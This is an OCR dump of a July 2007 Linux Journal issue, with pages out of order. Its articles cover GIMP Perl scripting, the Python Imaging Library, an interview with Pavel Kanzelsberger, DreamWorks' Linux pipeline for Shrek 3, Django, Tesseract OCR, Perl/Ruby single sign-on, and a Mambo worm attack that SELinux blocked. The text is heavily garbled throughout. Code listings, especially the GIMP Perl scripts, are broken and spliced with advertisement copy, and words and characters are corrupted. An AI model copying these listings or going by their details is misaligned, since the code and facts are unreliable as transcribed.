33. each thumbnail to make the blend with the background image pleasing when shown on the Web site AMD Opteron TM Storage Starts a Let s start from the simple and move to the more complex scripts from Listing 10 The gimp monkeyiq save as jpg script is shown in Listing BU AMD Opteron Model 246 11 The getMergedLayer function is from the MonkeyIQGIMP module ATB of Storage 36TB Max shown in Listing 3 It gets all the visible layers as a single merged layer 1GB RAM Given a single layer it can be exported as a JPEG and use the specific JPEG save GIMP function to allow various parameters specific to JPEG image compression to be set Apart from the image in out parameters the two main parameters are quality and comment Being able to embed a comment in the JPEG image itself allows metadata to be added to the 2 x 10 100 1000 Gigabit LAN NAS or iSCSI Software Options Web image such as an image copyright and author data string We Provide Approved EVAL Server A slightly more complex script is the gimp monkeyig append Since 1989 ASA has served customers like layer from image file which is designed to act like the command Cisco Juniper Caltech Fermilab and most Universities line cat imgl img2 gt bar command sequence We are append We provide a total custom solution with OS of your choice ing a layer from one image file to another From the image from Excellent pre and post sales RUPROI n i Reliable hardw
34. earning enough money monthly decided to quit my job and live off Pixel For now it works and hope it gets better in the future but you know this place on earth where am Slovakia is quite cheap to live LJ Do you have sponsors who help pay the bills PK don t have a sponsorship of any kind but I m getting offers from time to time LJ What other things have you done in your career PK worked in different environments mostly with Linux servers SQL databases and Web based applications made a few corporate infor mation systems and even led a team of multimedia developers in Asia L Where did you work in Asia PK worked in Seoul Korea for about a year in 2005 However the photo sent you for this interview is from Tokyo Japan where spent only week or so was using Linux there and because of that they treated me like was an exotic dude They use Windows so much L What inspired you to create Pixel PK When learned programming had a really prehistoric computer called IBM PC XT with a CPU at 4 77MHz and a CGA graphics card My plan was to make some games but as you need graphics for games started by making an image editor The first version made was called GFX Studio which was running in DOS in 320x200 resolu tion and four colors It already had a windowed interface and that gradually evolved into what you see today LJ What tools do you use to develop Pixel PK Most of the time
35. for image smoothing 15 NX amp monkeyiq gimp convert exit main in Listing 4 The result will look like Figure 5 Notice that the shadow is now a soft graduation to the green background The final output GIF image is created with the command shown in Listing 5 For more specific image settings for GIF files for use on the Internet using gimp monkeyiq webgif see Listing 6 Here the depth of the GIF is set to less than 256 colors and the image is dithered to try to compensate for the lower number of available colors Some Simple Scripts As imageOutput exports all the visible layers of an image by default a few other scripts allow you to slice up the layers in an xcf file to make only the desired layers visible and thus exported to the final image Ignoring the boilerplate registration code for each script hiding all layers can be done with the script shown in Listing 7 Then a regular expression can be used to show desired layers Listing 8 The Layers hideAIl and Layers showByRE functions are in the www linuxjournal com july 2007 65 INDEPTH Listing 12 Append a layer from one image to another usr bin perl w Use Ginb to use Gimp Fu use lib usir local bins use MonkeyIQGIMP sub monkeyiq_gimp_append_layer_from_image_file my inputimagename outfilename inputimagenameSecond print cat inputimagename print inputimagenameSecond gt gt outfilename n
36. grant a user any rights It provides only the possi bility for that user to be linked with roles Similarly the admin roles table enumerates and describes only the roles that users may or may not be assigned to included a description field so that administrators could document the intended use of a role In this simple schema a role name might be office manager or news editor While the first two tables are essentially static the final table admin roles admin users captures the dynamic information about which users have been assigned to which roles For each instance of a particular user having a particular role a new record will be created in this table This kind of schema is very pure and flexible but the flipside is that it makes it nearly impossible to enter data by hand and some what of a chore to write an application to manage it This is where Ruby on Rails comes in Front End 1 a Management Application Ruby on Rails RoR shines in the area of database applications that need to provide CRUD Create Retrieve Update Delete functionality It was a simple and easy task to get our database management applica tion up and running Figure 3 Plenty of good tutorials are available for creating a basic RoR Web application so in this article describe only the necessary customizations As it turned out there weren t many The first thing to note is that carefully chose the names of the tables and columns to comply with
37. higher and higher We use global illumination like a DP does says Art Department Production Designer Guillaume Aretos We use bounce cards and colored bounce cards The moviemaking process for us is very close to live action where we use the light that bounces Shrek 2 was a south of Italy feel kind of Beverly Hills turned into Italy Shrek 3 moves away from the eter nal spring of first two movies with a more northern European look It s very hard to get an overcast effect with bouncing back light says Aretos and bright light shin ing through dark clouds I m the head of layout says Nick Walker which makes me the DP Layout is the group that figures out where the virtual actors will stand in virtual sets Shrek is seven feet tall and all torso says Walker Shrek could swallow Fiona s head when moving in for a kiss Puss n Boots and Donkey the two sidekicks are different sizes It s difficult to get a two shot The Shrek 3 Linux Pipeline The production moves from story and con cept artwork into 3 D modeling and eventu ally render DreamWorks Animation uses the popular Linux Maya commercial package for 3 D modeling Layout positions the charac ters in the scenes and determines overall lighting Models are rigged with internal skeletons by the Character TDs then given to the scene animators Because of the com plexity Shrek 3 animators were assigned in pairs to each of the hundreds of scenes In t
38. image for mouse over events sub monkeyiq gimp prelight my inputimagename outfilename brightness contrast Q img gimp file load inputimagename inputimagename print prelight inputimagename print to outfilename in layers gimp image get layers img foreach 1 layers i gimp brightness contrast 1 brightness contrast imageOutput img outfilename pose DPESSTRINGS wnputundge Name of image to export PESSTREINGO output Image Name of image to save to PETITE brightness E 19 cse RESENI contrast o CO oye MIS pixel s old alpha values Next a selection is performed using the nominated background color and that selection is inverted So the selection should contain everything in the image and effectively be defining a single bit alpha mask for what pixels should be fully transparent in the image The next block adds another new layer to the image newlayer with a transparent color and then it copies and pastes the selec tion from the above merged layer everything other than the back ground color into the new layer We don t need the old merged image layer anymore so it is set to hidden and only the new layer is shown The result is that the new layer contains the old image data that has had any partially transparent pixels merged with the nominated background color There is a only a single color that is transparent and the rest a
39. impression you re just sup posed to update via new Sabayon distribu tions as they re released Eh okay but am still going to see if can get portage working run Damn Small Linux on my old Compaq notebook with 256MB of RAM simply because it won t run anything more bloated than that Believe it or not tried even more distri butions last month than these but l ve run out of room hope you ll try at least a few of the above I don t think you can go wrong with any of them Nicholas Petreley is Editor in Chief of Linux Journal and a former programmer teacher analyst and consultant who has been working with and writing about Linux for more than ten years Fanatical Support turned a potential failure into a big success Just before a client site was going to launch we learned its traffic would be much heavier than anticipated thought Oh great this project is going to bomb But called my team at Rackspace and within 30 minutes they d come up with a solution The site launched without a hitch wish all my vendors offered Fanatical Support I d have a lot less grey hair Overcoming last minute obstacles is one definition of Fanatical Support What will yours be Watch Russell s story at www rackspace com fanatical 1 888 571 8976 O rack MANAGED 9X HOSTING AffordablejinfiniBandiSolutions TriCom DDR SDR InfiniBand HCA Switchless serial console NodeWatch web enabled FasTree DDR
40. m d n d Please send information about releases of Linux related products to James Gray at newproducts linuxjournal com or New Products c o Linux Journal 1752 NW Market Street 200 Seattle WA 98107 Submissions are edited for length and content www linuxjournal com july 2007 33 QUICK TAKES Deep Images GIMP s shallow history and two alternatives that aren t as gimped as GIMP DAN SAWYER run a small multimedia studio and often do a number of jobs simultaneously from sound engineer to producer But when the client calls go quiet and no projects are pressing take time to indulge in my escapist passion photography keep Photoshop at the ready in case of emergencies but don t use it if don t have to Most of my machines run Linux and I prefer it that way love the variety of CLI tools for batch processing in ImageMagick and PanoTools though doubt I ll ever master all their capabilities love the UNIX philosophy of creating larger applications by knitting together a suite of modular pro grams that do one thing and do it well love that RAW image processing is simple and efficient with UFRAW which saves to high bit depth formats and preserves one of the great advantages of using RAW for texture and HDRI work Most of all love the pixel pushers those end user programs for editing raster graphics For years now I ve been using The GIMP for the most of my postprocessing work GIM
41. module provides basic graphics support for Image objects The pildriver Utility The pildriver tool gives you access to most PIL functions from your operating system s command line interface When called as a script the command line arguments are passed to a PlLDriver instance If there are no command line arguments the module runs an interactive interpreter each line of which is split into space separated tokens and passed to the execute method The pildriver tool was contributed by Eric S Raymond The following commands are from the Python prompt gt gt gt pildriver program gt gt gt pildriver show crop 0 200 300 open test png gt gt gt pildriver save rotated png rotate 30 open test tiff The PlLDriver Class The pildriver module provides a single class called PlLDriver An instance of the PlLDriver class is essentially a software stack machine Polish notation interpreter for sequencing PIL image transformations The state of the instance is the interpreter stack The only method one normally will invoke after initialization is the execute method This takes an argument list of tokens pushes them onto the instance s stack and then tries to clear the stack by successive evaluation of PlLdriver operators Any part of the stack not cleaned off persists and is part of the evaluation context for the next call of the execute method PlLDriver doesn t catch any exceptions on the theory that these actually contain diagnostic in
42. object oriented programming OOP in Part I of this article left out a big topic inheritance This feature is what makes OOP really useful and as OOP tries to mimic real life explain inheritance here with real life examples Think about a chair A chair is made out of some kind of material has two armrests a back a color a style and maybe even a warranty Now think about a table It is made out of some kind of material might have some drawers a color a style and maybe a warranty They have a lot in common If we were to make the two classes Chair and Table a lot of code would be repeated In programming when you write the same line of code twice you probably are doing something wrong inheritance to the rescue A chair is a piece of furniture So is a table Such similarities can be in the Furniture class Let s make the Furniture class have a oS Chair default material and the ability to set other materials gt gt gt c set_backrest_height 50 gt gt gt backrest height class Furniture object 50 der nit Asun gt gt gt c set material plastic self material wood gt gt gt c material plastic def set material self material gt gt gt self material material As you can see the methods of Furniture also are on Chair And now a Chair class inheriting Furniture leave the definition of the Table class as an exercise for the reader But first here s another interaction class
43. out there and Rails isn t the only popular framework One of the biggest rivals to Rails during the last year or two has been Django a Python based framework with many of the same goals as Rails Django was first written by Adrian Holovaty while working for a newspaper in Lawrence Kansas Holovaty now works for the Washington Post but he continues to work on the framework along with a host of other open source contributors It would be misleading to say that Django is a Python port of Rails or vice versa But there are many similarities between the two projects Both Rails and Django grew out of successful commercial projects the former at 37 Signals and the latter at a newspaper Both aspire to make Web development fun and easy removing as much of the drudgery as possible from such work Both use the model view controller MVC paradigm for handling actions and creating pages Both use a particular programming lan guage throughout the system for code and configuration files And both have managed to rally a large following ensuring that they both will continue to be developed for some time to come This month then begin a trip into the world of Django to see exactly what it is about this framework that excites people Even if you re never going to create any thing in Django or you dislike the Python language expect there will be something that Django can teach you or at least make you think about Installing Django Th
44. process Note that both images should be specified using full paths to ensure that The GIMP puts them where you expect More complex translations can be streamlined into a single Perl Listing 2 Exporting an xcf with 8 Bit Alpha to an Image with One Bit of Pretreated Alpha usr bin perl Gimp image add layer img newlayer 1 Gimp edit fill newlayer TRANSPARENT FILL use Gimp auto Gimp edit copy oldlayer use Gimp Fu my floatobject Gimp edit paste newlayer O lise lib usr locab bvmM a Gimp floating sel anchor floatobject use MonkeyIQGIMP HHHHHHHHHH AHHH HHH HH HH I GE sub monkeyiq gimp convert my inputimagename outfilename delete old background layer aliascolor Q Gimp layer set visible oldlayer 0 Gimp layer set visible newlayer 1 Gimp palette set foreground aliascolor imageOutput img outfilename img Gimp file load inputimagename inputimagename layer Gimp gt layer_new register monkey 1q 2implalias img Alias alpha values to a background color Gimp image width img Alias alpha values to a background color and then Gimp image height img remake one bit trans RGBA IMAGE Ben Martin Ben Male background merge image 2007 Mar 16 100 NORMAL_MODE lt Toolbox gt Xtns Perl Fu Alias As X Gimp image add layer img layer 1 UE Gimp image lower layer img layer Gimp edit f
45. than 200 command line utilities and is used for advanced image processing purposes that primarily are designed to be invoked from the Linux command line 70 july 2007 www linuxjournal com E ImageMagick suite this suite can be described as the be all end all of image processing It has mind boggling capabilities that can create animations logos convert file formats and of course do highly sophisticated image processing Go to www imagemagick org Usage for details on all it can do In this article focus primarily on using the ImageMagick toolkit for the purpose of creating an image gallery A Few Basics Obviously you will want the gallery to be an HTML page for sharing with friends using the Web The first step involves generating thumbnails for all the images These have to be linked to the images using HTML tags But before that you need to take care of the images varying orientations Different photographs may have different dimensions and you should be able to categorize the thumbnails based on that This is no hard and fast rule but prefer it this way The next task is to annotate the images with relevant text by watermarking either below or above the image ImageMagick has a rich toolchest for achieving this task in an elegant manner You also will want to be able to retrieve save and optionally dis play the EXIF data embedded in the photographs After annotating the images you may want to generate borders fram
46. the extraction of the columns Place the combination in a shell script with some looping and you can process a lot of pages very quickly Summary Tesseract is a bare bones OCR engine The build process is a little quirky and the engine needs some additional features such as layout detection but the core feature text recognition is drastically better than anything else I ve tried from the Open Source community It is reasonably easy to get excellent recognition rates using nothing more than a scanner and some image tools such as The GIMP and Netpbm The Tesseract team currently is working to integrate features such as layout analysis and a GUI interface It looks as if a commercial quality open source OCR solution is finally on the horizon Anthony Kay has been a systems programmer programming instructor technical writer and application developer He is currently a computer science graduate student at the University of Oregon in Eugene Oregon COMPACT EMBEDDED SERVER e x86 200MHz CPU 128MB SDRAM On Board e 512MB CompactFlash 10 100 Base T Ethernet Reliable No CPU Fan or Disk Drive a Two RS 232 amp Two USB 1 1 Ports e Optional Wireless LAN amp Hard Drive e Optional On Board Audio mgt aran 4514 51 1 375 115 x 115 x 35mm 2 6 KERNEL e EMAC Linux 2 6 Kernel s Menu Drive Configuration Utility e Eclipse Development Environment HTTP and FTP Servers e PPP Dial In Out Server amp Client s Telnet Se
47. the logged in state in a session redirect to the initial page which will re execute require_role which now finds the session verifies role membership with the MySQL database and then returns allowing the script to display the content But as far as users are concerned after submitting the login form their application simply appears Conclusion This simple collection of a few short Web scripts provides a surprising array of benefits Login functionality is factored out into a reusable module for Web scripts Users and roles are now understood by the system Authorization is separated from authentication Single sign on is provided because one session cookie is checked by all scripts The functionality is language and environment independent Easy to add custom login templates provide a seamless user experience And changes in role assignments take effect in real time because the role database is consulted every time a script is invoked see this as the payoff for putting in a little bit of time up front to 94 july 2007 www linuxjournal com 8 Wozll a Firefox IE Es Edi ewe Hxiere po Toc Hp 4qu a E a gt hetpc 1192 968 0 2 g binsut test2p ml pl eu This is a TOP SECRET page Figure 6 Unprotected Page 8 Administrative Login Mozilla Firefox EXEN Es di Ye Hoy Eo Toc ep gt Ena Mapi 192 258 0 dogi hd le ep Administrative Login Problems logging in Please login to access
48. to upgrade the software to remove the vulnerability When a user account is compromised you need to face the danger that the attacker could gain access to the superuser root account If an attacker gets root it can make it much more difficult to recover from an attack Most of the time you need to re install the operating system from known good media and carefully and selectively audit and restore software configurations Attackers who manage to get root access often install a rootkit software that hides itself from casual inspection and offers a remote control Listing 6 chkrootkit Output chkrootkit q usr lib firefox 1 0 4 chrome reregchrome usr lib firefox 1 0 6 chrome reregchrome usr lib jvm java 1 4 2 ibm 1 4 2 3 jre systemPrefs usr lib jvm java 1 4 2 ibm 1 4 2 3 jre systemPrefs system Lock usr lib jvm java 1 4 2 ibm 1 4 2 3 jre systemPrefs systemRootModFile usr lib firefox 1 0 8 chrome reregchrome usr lib firefox 1 0 7 chrome reregchrome usr lib per15 5 8 5 1386 linux thread multi packlist Zusrbwb pers vendoreperi 529 5512960 1nux thireads mubti auto mod_perl packlist usr lib jvm java 1 4 2 ibm 1 4 2 3 jre systemPrefs INFECTED PORTS 465 SELinux provides additional access controls beyond those traditionally provided in the UNIX security model Listing 7 Web Server Error Logs Showing Attack Traces Mau Way 0100725222 2006 error elient 10 9 2393 25 File does not exist var
49. used Adobe Acrobat to do OCR on scanned documents and it requires 150 DPI It manages to fix things like varying lighting as we did in GIMP earlier and linear distortion for example due to book bindings pulling the edge of the paper away from the scanner It also handled skewed pages where the page was not aligned well on the scanner bed So found a 72dpi scanned image that contained most of these glitches Note that 72dpi is half the resolution that Acrobat will even try The left margin was dark gray and bled into the letters and the left edges of the lines were bent The original image was not skewed tried the unaltered image and the results were poor then used GIMP thresholding to remove the lighting variance and saved it as described above did nothing to correct the bent lines nor did increase the dpi in any way To my surprise Tesseract managed a 9796 recognition rate Many 46 july 2007 www linuxjournal com Font variations image noise and alignment problems make it extremely difficult to design an algorithm that can translate the image of text into actual text reliably Table 1 Tesseract vs ocrad Results Test conditions ocrad Tesseract 200dpi very clean includes italics bold 95 100 72dpi black and white clean 0 97 72dpi with minor linear distortion 0 97 72dpi minor linear distortion 0 96 and skewed 2 degrees of the errors were mistaking e as c which were difficu
50. v descs mare_d shtml Bugtraq on Mambo Vulnerabilities archives neohapsis com archives bugtraq 2006 02 0463 html Common Vulnerabilities and Exposures Dictionary www cve mitre org Common Vulnerabilities and Exposures Mambo Issue www cve mitre org cgi bin cvename cgi name CVE 2005 3738 Disk Images under Linux www mega tokyo com osfaq Disk 20lImages 20Under 20Linux Mambo RPM Packages dag wieers com packages mambo 88 july 2007 www linuxjournal com Web server that listens for https on port 465 In this case analyz ing the chkrootkit output did not reveal a real rootkit problem Running chkrootkit can give you some extra peace of mind when you know an attacker has penetrated your defenses even though its checks are not conclusive The Good News The server ran SELinux using the targeted policy at the time of the attack The audit log message that originally sounded the alarm that all was not well was an access denied message The Web server error log provided more detail in the form of the output of the injected shell code including the wget session and the access denied message resulting from the attempted execution of wget as shown in Listing 7 SELinux prevented the cback executable from running saving targetbox from the next stage of the worm Newer versions of Mambo close the hole that the attacker exploited so could install a new version without being vulnerable to the same exploit Lessons Learned Many o
51. 1 www techdata com Synnex 1 800 756 5974 www synnex com UPFRONT Palming Linux The term PDA personal digital assistant was coined in 1992 by Apple CEO John Sculley to name a category for a new class of handheld devices inaugurated by Apple s Newton Sculley moved on and Newton flopped but the category stayed Starting with the Palm Pilot in 1996 the Palm brand has been synonymous with the PDA category even as the company called Palm has gone through multiple incarnations and the most familiar PDAs are also cell phones From the beginning Palm has had its own operating system called PalmOS Garnet In recent years the company has added Windows Mobile for use in some of its cell phone PDAs For example the Palm Treo 700 comes in Palm and Windows versions Then at its Analyst and Investor Day in April 2007 Palm announced plans to moosh its PalmOS development together with development atop the Linux kernel along with plans to come out with Linux based Palm products before the end of this year Managing the Platform Transition Palm Differentiation Windows Mobile Palm OS 5 Garnet Open Source Technology i w f A Figure 1 Palm Planning Linux Based Products We don t have more specifics at press time but we do have a copy of a visual used by Palm at the announcement Figure 1 ACTI mn Looks like another example of World Domination at work Resistance is futile DOC SEARLS
52. 250GB htswap SATA Drives Installed 4 port SATA RAID controller layers Gimp image get layers img y 2X10 100 000 LAN onboard foreach 1 layers Gimp layer set visible 1 0 ATB Storage Installed Max 12TH intel Dual core 5050 CPU 1GB 667MGZ FBDIMMs Installed Supports 16GB FBDIMM o 16 port SATA RAID controller 164450068 swap SATA II Drives Installed 2X10 100 1000 LAN onboard my inputimagename outfilename B w Red PS sub monkeyiq gimp layers hideall img gimp file load inputimagename ATH Storage Installed Max 12TH inputimagename Intel Dual core 5050 CPU MU S 0 1GB GETMGZ FBDIMMS Installed Layers hideAll img 0 A eee Supports 16GB FDDIMM 4 16 port SATA II RAID controller 16X250GH hiswap SATA Drives Installed o GL mulis Uc AR orioorio00 LAN onboard outfilename outfilename 800w Red PS gimp image delete img prm GTD Storage Installed Max 10TD Intel Dual coro 5050 CPU 458 EK MG FHDIMMSs Installed Supports 16GB FBDIMM 24X250GD hiswap SATA Drives Installed 2 24 nort SATA RAID CARDIOL 210010005000 LAM onboard 930W Rod PS 10TB Storage Installed Max 30TB my img layersre Q intel Dual core 5050 CPU Quantity 42 Installed 168 667MG2 FBDIMMS Listing 8 Show layers that have a name matching the given regular expression sub Layers showByRE layers G
53. 4 GB RAM e 60 160 GB hard drive e CDRW DVD or DVD RW e 6 3 8 6 pounds e 802 11a b g 54Mbps WiFi e ExpressCard EVDO e Starts at 1445 Raven X60 Tablet ThinkPad X60 Tablet by Lenovo e 12 1 SXGA w X 1400x1050 e 1500 MHz Core 2 Duo e 1 4 GB RAM e 30 120 GB hard drive e 3 8 pounds e Pen stylus input to screen e Dynamic screen rotation e Handwriting recognition e X60s laptops available e Starts at 2300 1 888 651 6686 Model prices specifications and availability may vary All trademarks are the property of their respective owners COLUMNS COOKING WITH LINUX Let IMe Show You How It s Done with a Little Video They say a picture is worth a thousand words As videos could be 25 pic tures per second and might last several minutes how many words is that MARCEL GAGN Francois what are you doing still sitting in front of your computer Our guests will be here any moment Quoi appreciate mon ami that you are teaching your Aunt Marguerite to use Linux but must you do it in real time over a VNC control session Of course there are other ways mon ami For instance you could create instruction al videos screencasts and e mail them to her Yes would be happy to show you how but for now you must say Au revoir to your aunt and log off can see our guests Creating screencasts doesn t have to be difficult and the features on Seloct Arca to Record Record 30 Record Mouse
54. AIRCOM SUPERMICRO NJ NO www faircom com www supermicro com GENSTOR SYSTEMS INC TECHNOLOGIC SYSTEMS ES www genstor com www embeddedx86 com HURRICANE ELECTRIC TOTALVIEW TECHNOLOGIES Ls www he net www totalviewtech com IRON SYSTEMS UNIWIDE TECHNOLOGIES ki www ironsystems com www uniwide com LINUX JOURNAL USENIX Security SYMPOSIUM www linuxjournal com www usenix org secO7 lj LINUXWORLD SAN FRANCISCO www linuxworldexpo com www linuxjournal com july 2007 81 INDEPTH Image module gt gt gt import Image gt gt gt im Image open lenna ppm The Python Imaging Library supports a wide variety of image file formats The library automatically determines the format based on the contents of the file or the extension The next example Listing 2 shows how the Image class contains methods to resize and rotate an image Color Transforms The Python Imaging Library allows you to convert images between dif ferent pixel representations using the convert function for example converting between modes im Image open lenna ppm convert L The library supports transformations between each supported mode and the L and RGB modes To convert between other modes you may have to use an intermediate image Filters The ImageFilter module contains a number of predefined enhance ment filters that can be used with the filter method For example f
55. Afterward the bracketed images are combined into a single HDRI Although this can be in the terminal it s far easier with CinePaint s self explanatory Bracket to HDR plugin included in the package Once created the HDRI either can be turned into a light probe for lighting a 3 D scene or tone mapped for display and or printing Figure B Figure B Using the Bracketed Exposures to Create the Perfect Picture Tone mapping interpolates an HDRI into 8 bit space without clipping the high and low ends it compresses the image nonlinearly to preserve the details otherwise lost The result is a much richer image than could normally be captured by 8 bit equipment At the moment tone mapping isn t available in CinePaint or Krita although it is on Krita s to do list Instead pfstools a command line suite of algorithms for configuring the interpolation curves does the job Fortunately for those of us who don t like experimenting blindly in the terminal a thoughtful soul has written a GUI that offers the full range of options available at the command line with a preview window The program Qpfstools along with an introduc tion and tutorial can be found here theplaceofdeadroads blogspot com 2006 07 qpfstmo hdr tone mapping gui for linux 04 html www linuxjournal com july 2007 37 DREAMWORKS ANIMATION SHREK IHE THIRD LINUX FEEDS AN OGRE DreamWorks Animation pushes the limits of CG filmmaking with
56. Blogging s Black Holes 96 NICHOLAS PETRELEY S PROGRAMMING PYTHON VAR OPINION PART II Amazing Free Distributions Adound More love for learning Python Jos P E Pupeno Fern ndez QUICK TAKES IMAGE PROCESSING WITH QCCPACK AND PYTHON A library collection for Python image processing 34 DEEP IMAGES Dan Sawyer MAMBO EXPLOIT BLOCKED BY SELINUX SELinux catches exploits Richard Bullington McGuire ROLE BASED SINGLE SIGN ON WITH PERL AND RUBY Let the role dictate the privileges Robb Shecter IN EVERY ISSUE 8 LETTERS 12 UPFRONT PROCESSING OF WEB IMAGES GUI We don t need no stinking GUI 54 PIXEL CREATOR PAVEL KANZELSBERGER Next Month COOL PROJECTS You can buy an old coin slot arcade machine and play some thing like Pac Man on it but how about if you could convert it to a Linux based arcade machine that lets you play all of your favorite 80s arcade games and more If that isn t a cool project we don t know what is We ll show you how to modify the case hook up Joysticks and buttons the works Want to create your own virtual private network for your Nokia E61 We ve got that too As always there s much more What if building your own Firefox add on extension is your definition of cool We ll walk you through the whole process We also take a peek at some of the freshest cool projects others have created 9 TECH TIPS NEW PRODUCTS 8 1 ADVERTISERS
57. E T im 8 A a Dey cud LA mad Pa M i nr ar omini 1 inn ite ne IE 24 pre 2 emo n LIE A ie H 3 7 E ES BIA eie 1 i i 5 infineon 1 re amp iii pat adil WM aii Aba l ds S ia HATISATEDAXO Bg TR s im ra Tg HET Fa rl E pn arn Inm iy agin ms cem 9 oeel eei quvogienou ue ot et Ee AE LES sl vos pistunei slit calli Hs CT a Duc miis EN lj m blah baj bb t EO h INTERVIEW with Pavel Kanzelsberger Creator of E E Pavel talks about the history of Pixel and its destiny to be much more than a Photoshop clone James Gray One of the applications that we Linuxers have long longed to have natively on our beloved platform is Adobe Photoshop Although nearly all of us have turned to the trusty GIMP for our image manipulation needs The GIMP s limitations such as lack of support for the CMYK color model keep it from fully replacing Photoshop Luckily in our community if there s a hole in the application portfolio there is a scrappy innovative dot org or developer striving to fill it A prime case in point is Pavel Kanzelsberger the Slovakia based developer of Pixel an up and coming and very multiplatform image manipulation program If Kanzelsberger s ambitions are realized his handiwork may one day even out Photoshop Photoshop We recently caught up with Pavel to find out more about Pixel LJ Thank you for agreeing to speak wit
58. INDEX 4 july 2007 www linuxjournal com USPS LINUX JOURNAL ISSN 1075 3583 is published monthly by Belltown Media Inc 2211 Norfolk Ste 514 Houston TX 77098 USA Periodicals postage paid at Houston Texas and at additional mailing offices Cover price is 5 US Subscription rate is 25 year in the United States 32 in Canada and Mexico 62 elsewhere POSTMASTER Please send address changes to Linux Journal PO Box 980985 Houston TX 77098 Subscriptions start with the next issue AD 1 Pu H NS Premium Dedicated servers i Bim n AAA Ei lil m LJ a mismmmmmuwuu a ILE Mia doo d Lu MT Four excellent hosting plans offering top quality hardware and service at killer prices e gt 2 0 GHz Intel Xeon Woodcrest processor 2 HP 146GB 10K SAS drives RAID1 mirror e 3Mbps unmetered bandwidth v HP ProLiant G5 Blade Servers with Dual Core Intel Xeon processors Y 24x7x365 toll free tech support Y High performance network with full 100Mbps amp gigabit connections Y Service Level Agreement e 2 0 GHz Intel Xeon Woodcrest processor e 2 HP 146GB 10K SAS drives RAID1 mirror e 5Mbps unmetered bandwidth e 4GB memory 5450 mo HA MySQL Database hot failover E 6b50 mo al la r El ERI Yr 7 i OS sn 2 AAA A e gre i Y 1 h j 11 1 e Two 2 0 GHz Intel Xeon Woodcrest processors e 2 HP 146GB 10K SAS dri
59. IimarKs O Other company and product names are registered trademarks orti T 4 i y Chip manufacturing warehouse automation and other throughput intensive systems require y processing e c tree technology www faircom com go speed COLUMNS Blogging is a kind of half bakery falling somewhere between public e mail a way to write for cc world and polished journalism of the sort we write for print publications like this one LINUX FOR SUITS out Another blogger published it accusing me of tak ing advantage of a tragedy to advance a commercial cause Although he said it in far less polite terms than those In a comment under that blog post said the republished post was a private e mail that was never meant to be blogged But the blogger left it up as an act of snarky passive aggression Then several days after the shooting NBC went public with the package of pictures and computer files mailed to it by Cho Seung hui during a pause in his shooting ram page In a private e mail exchange with a small circle of individuals a thoughtful discussion followed about whether or not NBC should have released the whole pile of files once the police had said doing that was okay with them privately took the position that the files should be released Others didn t Discussion among individuals was civil thoughtful But after blogged my opinion about the matter offering full resp
60. Images Proportionally The last step in our script development is to let more than one image be displayed on a line because we now can reduce thumbnails as needed whether they re wide or tall Here write this to have three images abreast but you can tweak it if you have a bigger screen of course To have three images across in a window that ll be no wider than 700 pixels to fit easily on an 800x600 screen we want the thumbnail images to be no wider than 200 pixels This means we want to call figuresize and then do some math to figure out the best reduced dimensions to get to that max The challenge is that the shell doesn t really let you work with floating point non integer numbers so we need to trick bc into doing the work for us Here s how that looks if height is the larger dimension factor echo scale 4 maxsize height bc newwidth echo factor width bc cut d f1 To figure out how to scale the smaller dimension pro portionally we divide MAXSIZE actual height which will be a value less than 1 0 and then use that as the multiplier for the other dimension For example let s say have an image that s 313x358 but want to reduce it to no bigger than 200x200 propor tionally factor can be calculated as 200 358 or 558 and then the smaller dimension is multiplied by 558 that is 313 0 558 to produce 174 The proportionally scaled image then is 174x200 In script form here s what wrot
61. InfiniBand switches Low latency modular design 24 36 and 48 port building blocks remote monitor and control Headers to fan tach lines voltages temperature probes PS On Off and MB reset i 8051 BMC interface and serial console switch i 1 I Bd i T bi dareen a L LI Y r w A SS COM2 ce mie I Internal connector in rd ASS i x i dis Li ad am poe T e o Mt e eur e S A see m i ETA InfiniS nfiniScope RS 485 422 l Daisy chain Monitors ports on HCA s and switches M ays p Provides real time BW diagnostics m a aun hice Finds switch and cable faults InfiniBand InfiniBand HCA connector Lane 15 interface Logs all IB errors m E E zr Ws ASS IIA A ServaStor uem A O fae e spar op 2 2 Extensible IB based storage edet eos mp ST building blocks A Redundant and scalable Taa mi i Parallel file systems E Open source software On line capacity expansion RAID 0 1 1E 3 5 6 10 50 To speak to an HPC expert call 508 746 7341 and ask for technical sales or email sales microway com Technology you can count on
62. Linux ROBIN ROWE All the big film studios primarily use Linux for ani mation and visual effects Perhaps no commercial Linux installation is larger than DreamWorks Animation with more than 1 000 Linux desktops and more than 3 000 server CPUs For Shrek 3 we will consume close to 20 million CPU render hours for the making of the film says DreamWorks Animation CTO Ed Leonard Each of our films continues to push the edge of what s possi ble requiring more and more compute power Everyone knows Moore s Law predicts that compute power will double every one and a half years A lit tle known corollary is that feature cartoon anima tion CPU render hours will double every three years In 2001 the original Shrek movie used about 5 mil lion CPU render hours In 2004 Shrek 2 used more than 10 million CPU render hours And in 2007 Shrek 3 is using 20 million CPU render hours 38 july 2007 www linuxjournal com At any given time we are working on more than a dozen films says Leonard Each of those films has its own creative ambition to push the limits of CG filmmaking DreamWorks Animation employs about 1 200 people with about two thirds in their Glendale studio and the rest in their PDI studio in Redwood City linked by a 2Gb network Note that DreamWorks Animation a publicly trad ed company led by Jeffrey Katzenberg isn t Steven Spielberg s DreamWorks live action that merged with Paramount recently There were many s
63. N Platinum Sponsors Gold Sponsor Silver Sponsors ACGESS ORACLE Q mororora Novell WIND RIVER A HPC Cluster Solutions INDEPTH Programming Python Part Il Having covered some advanced features in Part l its time to include some basics JOS P E PUPENO FERN NDEZ The tutorial in last month s issue covered the basics of installing Python running it and using it Then we moved on to building a basic blog in Python The blog was extremely simple only a Python list We focused on the posts and built a Post class class Post object def init self title body self set Titlettitle self set body body def set title self title self title title def get_title self return self _title def set_body self body self body body def get body self return self body def __repr__ self return Blog Post s self get_title In this follow up article let s focus on the blog itself and go further The Blog Now that we have the Post class we can make the Blog class An initial implementation may look like this class Blog object def wit self self posts def add post self post self posts append post def Set postsiselt s return selT posts We are using a list to maintain the posts but the interface is totally abstract behind a set of methods in the Blog class This has a huge advantage tomorrow we could replace that simple list with an SQL back en
